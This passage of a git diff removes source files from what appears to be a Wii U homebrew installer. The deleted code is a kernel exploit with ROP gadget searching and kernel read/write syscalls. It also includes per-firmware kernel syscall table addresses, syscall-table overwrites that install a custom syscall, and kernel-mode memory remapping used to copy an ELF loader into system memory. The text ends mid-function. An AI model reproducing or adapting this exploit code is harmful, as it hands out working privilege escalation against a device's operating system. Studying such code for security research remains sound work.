private_data->MEMFreeToDefaultHeap((void*)stack2); - - //printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); - //wait(coreinit_handle, 0x3FFFF); - //callSysExit(coreinit_handle,SYSSwitchToBrowser); - //exitOSScreen(coreinit_handle); -} -#endif - - -void wait(unsigned int coreinit_handle, unsigned int t) -{ - void (*OSYieldThread)(void); - OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); - - while(t--) - { - OSYieldThread(); - } -} - -void doBrowserShutdown(unsigned int coreinit_handle) -{ - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - - int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); - int(*IM_Close)(int fd); - int(*IM_Open)(); - - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); - - //Restart system to get lib access - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - memset(mem, 0, 0x100); - //set restart flag to force quit browser - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - //wait a bit for browser end - wait(coreinit_handle, 0x3FFFF); -} - -void drawString(unsigned int coreinit_handle, int x, int y, char * string) -{ - unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - OSScreenPutFontEx(0, x, y, string); - OSScreenPutFontEx(1, x, y, string); -} - -void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a) -{ - unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - uint32_t num = (r << 24) | (g << 16) | (b << 8) | a; - OSScreenClearBufferEx(0, num); - OSScreenClearBufferEx(1, num); -} - -void flipBuffers(unsigned int coreinit_handle) -{ - void(*DCFlushRange)(void *buffer, uint32_t length); - unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Flush the cache - DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size); - DCFlushRange((void *)0xF4000000, buf0_size); - //Flip the buffer - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); -} - -void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos) -{ - int i; - for(i=0;i<2;i++) - { - fillScreen(coreinit_handle, 0,0,0,0); - drawString(coreinit_handle, 0,pos,buf); - flipBuffers(coreinit_handle); - } -} - -void setupOSScreen(unsigned int coreinit_handle) -{ - void(*OSScreenInit)(); - unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - - //Call the Screen initilzation function. - OSScreenInit(); - //Grab the buffer size for each screen (TV and gamepad) - int buf0_size = OSScreenGetBufferSizeEx(0); - int buf1_size = OSScreenGetBufferSizeEx(1); - //Set the buffer area. - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size); - //Clear both framebuffers. - int ii; - for (ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0); -} - -void exitOSScreen(unsigned int coreinit_handle) -{ - void (*_Exit)(); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - //exit only works like this - int ii; - for(ii = 0; ii < 2; ii++) - { - fillScreen(coreinit_handle, 0,0,0,0); - flipBuffers(coreinit_handle); - } - _Exit(); -} - -void callSysExit(unsigned int coreinit_handle, void *sysFunc) -{ - void*(*OSAllocFromSystem)(uint32_t size, int align); - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - uint32_t stack1 = (uint32_t) OSAllocFromSystem(0x300, 0x20); - void *thread1 = OSAllocFromSystem(OSTHREAD_SIZE, 8); - - OSCreateThread(thread1, sysFunc, 0, NULL, stack1 + 0x300, 0x300, 0, 0x1A); - OSResumeThread(thread1); - while(OSIsThreadTerminated(thread1) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } -} - -/* Simple memcmp() implementation */ -int memcmp(void *ptr1, void *ptr2, uint32_t length) -{ - uint8_t *check1 = (uint8_t*) ptr1; - uint8_t *check2 = (uint8_t*) ptr2; - uint32_t i; - for (i = 0; i < length; i++) - { - if (check1[i] != check2[i]) return 1; - } - - return 0; -} - -void* memcpy(void* dst, const void* src, uint32_t size) -{ - uint32_t i; - for (i = 0; i < size; i++) - ((uint8_t*) dst)[i] = ((const uint8_t*) src)[i]; - return dst; -} - -/* Find a gadget based on a sequence of words */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) -{ - uint32_t *ptr; - - /* Search code before JIT area first */ - for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - /* Restart search after JIT */ - for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) - { - if (!memcmp(ptr, &code[0], length)) return ptr; - } - - OSFatal("Gadget not found!"); - return (void*)0; -} - -/* Read a 32-bit word with kernel permissions */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr) -{ - uint32_t result; - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "li 5,0\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%1\n" - "li 0,0x3400\n" - "mr %0,1\n" - "sc\n" - "nop\n" - "mr 1,%0\n" - "mr %0,3\n" - : "=r"(result) - : "b"(addr) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); - - return result; -} - -/* Write a 32-bit word with kernel permissions */ -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} diff --git a/installer/kexploit.h b/installer/kexploit.h deleted file mode 100644 index 530490a..0000000 --- a/installer/kexploit.h +++ /dev/null @@ -1,104 +0,0 @@ -#ifndef KEXPLOIT_H -#define KEXPLOIT_H - -#include "structs.h" -#include "../../libwiiu/src/types.h" -#include "../../libwiiu/src/coreinit.h" -#include "../../libwiiu/src/socket.h" - -/* Wait times for CPU0 and CPU2 */ -#define CPU0_WAIT_TIME 80 -#define CPU2_WAIT_TIME 92 - -/* Gadget finding addresses */ -#define JIT_ADDRESS 0x01800000 -#if (VER == 300 || VER == 310) - #define CODE_ADDRESS_START 0x0E000000 - #define CODE_ADDRESS_END 0x10000000 -#else - #define CODE_ADDRESS_START 0x0D800000 - #define CODE_ADDRESS_END 0x0F848A0C -#endif - -/* Kernel addresses, stolen from Chadderz */ -#define KERN_HEAP 0xFF200000 -#define KERN_HEAP_PHYS 0x1B800000 -#if VER == 200 - #define KERN_SYSCALL_TBL 0xFFE85910 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB4E00 - #define KERN_DRVPTR 0x00000000 -#elif VER == 210 - #define KERN_SYSCALL_TBL 0xFFE85910 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB4E40 - #define KERN_DRVPTR 0x00000000 -#elif VER == 300 - #define KERN_SYSCALL_TBL 0xFFE85950 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_DRVPTR 0x00000000 -#elif VER == 310 - #define KERN_SYSCALL_TBL 0xFFE85950 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB66E4 - #define KERN_DRVPTR 0x00000000 -#elif VER == 400 - #define KERN_SYSCALL_TBL 0xFFE85890 - #define KERN_CODE_READ 0xFFF02214 - #define KERN_CODE_WRITE 0xFFF02234 - #define KERN_ADDRESS_TBL 0xFFEB7E5C - #define KERN_DRVPTR 0x00000000 -#elif VER == 410 - #define KERN_SYSCALL_TBL 0xffe85890 - #define KERN_CODE_READ 0xfff02214 - #define KERN_CODE_WRITE 0xfff02234 - #define KERN_ADDRESS_TBL 0xffeb902c - #define KERN_DRVPTR 0x00000000 -#elif VER == 500 - #define KERN_SYSCALL_TBL 0xffea9520 - #define KERN_CODE_READ 0xfff021f4 - #define KERN_CODE_WRITE 0xfff02214 - #define KERN_ADDRESS_TBL 0xffea9e4c - #define KERN_DRVPTR 0x00000000 -#elif (VER == 532) || (VER == 540) - #define KERN_SYSCALL_TBL 0xFFEAA0E0 - #define KERN_CODE_READ 0xFFF02274 - #define KERN_CODE_WRITE 0xFFF02294 - #define KERN_ADDRESS_TBL 0xFFEAAA10 - #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) -#elif VER == 550 - #define KERN_SYSCALL_TBL 0xFFEAAE60 - #define KERN_CODE_READ 0xFFF023D4 - #define KERN_CODE_WRITE 0xFFF023F4 - #define KERN_ADDRESS_TBL 0xFFEAB7A0 - #define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270) -#else -#error "Unsupported Wii U software version" -#endif - -/* Browser PFID */ -#define PFID_BROWSER 8 - -/* Kernel heap constants */ -#define STARTID_OFFSET 0x08 -#define METADATA_OFFSET 0x14 -#define METADATA_SIZE 0x10 - -/* Size of a Cafe OS thread */ -#define OSTHREAD_SIZE 0x1000 - -void run_kexploit(private_data_t *private_data); - -/* Find a ROP gadget by a sequence of bytes */ -void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start); - -/* Arbitrary read and write syscalls */ -uint32_t __attribute__ ((noinline)) kern_read(const void *addr); -void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value); - -#endif /* KEXPLOIT_H */ diff --git a/installer/launcher.c b/installer/launcher.c deleted file mode 100644 index 8a6e398..0000000 --- a/installer/launcher.c +++ /dev/null @@ -1,515 +0,0 @@ -#include "types.h" -#include "elf_abi.h" -#include "kexploit.h" -#include "structs.h" -#include "sd_loader.h" - -#define MEM_BASE 0xC0800000 -#include "../src/common/common.h" -#include "../src/common/os_defs.h" -#include "../../libwiiu/src/coreinit.h" - -//! this shouldnt depend on OS -#define LIB_CODE_RW_BASE_OFFSET 0xC1000000 -#define CODE_RW_BASE_OFFSET 0xC0000000 -#define DATA_RW_BASE_OFFSET 0xC0000000 - -#if ( (VER == 532) || (VER == 540) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005d180 - #define ADDRESS_main_entry_hook 0x0101c55c - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games - #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL) -#elif ( (VER == 500) || (VER == 510) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00 - #define ADDRESS_main_entry_hook 0x0101C15C - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games - #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL) -#elif (VER == 550) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005E040 - #define ADDRESS_main_entry_hook 0x0101c56c - - #define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown - #define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games - #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) -#elif (VER == 410) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0 - #define ADDRESS_main_entry_hook 0x0101BD4C - - #define KERN_SYSCALL_TBL_1 0xFFE84C90 - #define KERN_SYSCALL_TBL_2 0xFFE85090 - #define KERN_SYSCALL_TBL_3 0xFFE85C90 - #define KERN_SYSCALL_TBL_4 0xFFE85490 - #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser -#elif (VER == 400) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005A600 - #define ADDRESS_main_entry_hook 0x0101BD4C - - #define KERN_SYSCALL_TBL_1 0xFFE84C90 - #define KERN_SYSCALL_TBL_2 0xFFE85090 - #define KERN_SYSCALL_TBL_3 0xFFE85C90 - #define KERN_SYSCALL_TBL_4 0xFFE85490 - #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser -#elif ( (VER == 300) || (VER == 310) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0 - #define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate - - #define KERN_SYSCALL_TBL_1 0xFFE84D50 - #define KERN_SYSCALL_TBL_2 0xFFE85150 - #define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5 - #define KERN_SYSCALL_TBL_4 0xFFE85550 - #define KERN_SYSCALL_TBL_5 0xFFE85950 -#else - #error Please define valid values for firmware. -#endif // VER - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF -#if (VER >= 410) - #define ROOTRPX_DBAT0L_VAL 0x30000012 - #define COREINIT_DBAT0L_VAL 0x32000012 -#elif (VER <= 400) - #define ROOTRPX_DBAT0L_VAL 0x4E000012 - #define COREINIT_DBAT0L_VAL 0x4D000012 -#else - #error Please define valid values for firmware. -#endif - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address); -static void thread_callback(int argc, void *argv); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - { - run_kexploit(&private_data); - } - else - { - /* Get functions to send restart signal */ - int(*IM_Open)(); - int(*IM_Close)(int fd); - int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); - void*(*OSAllocFromSystem)(unsigned int size, int align); - void(*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* Send restart signal to get rid of uneeded threads */ - /* Cause the other browser threads to exit */ - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - if(!mem) - ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); - - private_data.memset(mem, 0, 0x100); - - /* Sets wanted flag */ - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - - /* Waits for thread exits */ - unsigned int t1 = 0x1FFFFFFF; - while(t1--) ; - - /* restore kernel memory table to original state */ - kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); - kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); - } - - /* Prepare for thread startups */ - int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); - int (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - /* Allocate a stack for the thread */ - /* IMPORTANT: libcurl uses around 0x1000 internally so make - sure to allocate more for the stack to avoid crashes */ - void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20); - /* Create the thread variable */ - void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8); - if(!thread || !stack) - ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser."); - - // the thread stack is too small on current thread, switch to an own created thread - // create a detached thread with priority 0 and use core 1 - int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); - if (ret == 0) - ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); - - /* Schedule it for execution */ - OSResumeThread(thread); - - // Keep this main thread around for ELF loading - // Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate - while(OSIsThreadTerminated(thread) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Free thread memory and stack */ - private_data.MEMFreeToDefaultHeap(thread); - private_data.MEMFreeToDefaultHeap(stack); - - //! we are done -> exit browser now - private_data._Exit(0); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static void thread_callback(int argc, void *argv) -{ - /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */ - unsigned int sysapp_handle; - void (*_SYSLaunchMiiStudio)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio); - - _SYSLaunchMiiStudio(); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data 